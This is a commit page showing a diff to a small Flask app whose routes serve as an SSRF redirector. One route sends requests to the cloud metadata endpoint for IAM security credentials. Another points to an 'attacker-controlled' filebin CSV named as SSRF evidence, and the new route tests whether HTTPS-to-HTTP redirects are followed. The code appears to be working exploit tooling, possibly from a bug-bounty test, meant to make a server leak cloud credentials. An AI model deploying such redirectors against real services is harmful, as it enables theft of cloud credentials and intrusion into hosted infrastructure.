pzycl0 commited on
Commit
0cd3e7a
·
verified ·
1 Parent(s): 29411b9

add http redirect test

Browse files
Files changed (1) hide show
  1. app.py +5 -1
app.py CHANGED
@@ -3,13 +3,17 @@ app = Flask(__name__)
3
 
4
  @app.route("/data.csv")
5
  def redirect_to_filebin():
6
- # Redirect to our attacker-controlled filebin CSV (known to work)
7
  return redirect("https://filebin.net/ssrf-hf-evidence-1777003694/evidence.csv", code=301)
8
 
9
  @app.route("/imds.csv")
10
  def redirect_to_imds():
11
  return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/", code=301)
12
 
 
 
 
 
 
13
  @app.route("/health")
14
  def health():
15
  return "ok", 200
 
3
 
4
  @app.route("/data.csv")
5
  def redirect_to_filebin():
 
6
  return redirect("https://filebin.net/ssrf-hf-evidence-1777003694/evidence.csv", code=301)
7
 
8
  @app.route("/imds.csv")
9
  def redirect_to_imds():
10
  return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/", code=301)
11
 
12
+ @app.route("/http_test.csv")
13
+ def redirect_to_http():
14
+ # Test if https->http redirect is followed (httpbin returns json not csv)
15
+ return redirect("http://httpbin.org/anything/evidence.csv", code=301)
16
+
17
  @app.route("/health")
18
  def health():
19
  return "ok", 200